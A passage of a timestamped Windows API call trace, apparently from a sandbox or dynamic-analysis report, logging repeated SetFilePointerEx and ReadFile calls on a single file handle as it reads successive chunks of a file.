lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x578, lpOverlapped=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.951] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x570, lpOverlapped=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x568, lpOverlapped=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x560, lpOverlapped=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x558, lpOverlapped=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x550, lpOverlapped=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.952] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x548, lpOverlapped=0x0) returned 1 [0068.953] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x540, lpOverlapped=0x0) returned 1 [0068.953] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x538, lpOverlapped=0x0) returned 1 [0068.953] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x530, lpOverlapped=0x0) returned 1 [0068.953] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.953] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x528, lpOverlapped=0x0) returned 1 [0068.953] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x520, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x518, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x510, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x508, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x500, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f8, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f0, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e8, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e0, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d8, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d0, lpOverlapped=0x0) returned 1 [0068.954] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c8, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c0, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b8, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b0, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a8, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a0, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x498, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x490, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x488, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x480, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x478, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x470, lpOverlapped=0x0) returned 1 [0068.955] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x468, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x460, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x458, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x450, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x448, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x440, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x438, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x430, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x428, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x420, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x418, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x410, lpOverlapped=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x408, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x400, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f8, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f0, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e8, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e0, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d8, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d0, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3c8, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3c0, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b8, lpOverlapped=0x0) returned 1 [0068.957] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b0, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a8, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a0, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x398, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x390, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x388, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x380, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x378, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x370, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x368, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x360, lpOverlapped=0x0) returned 1 [0068.958] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x358, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x350, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x348, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x340, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x338, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x330, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x328, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x320, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x318, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x310, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x308, lpOverlapped=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x300, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f8, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f0, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e8, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e0, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d8, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d0, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c8, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c0, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, 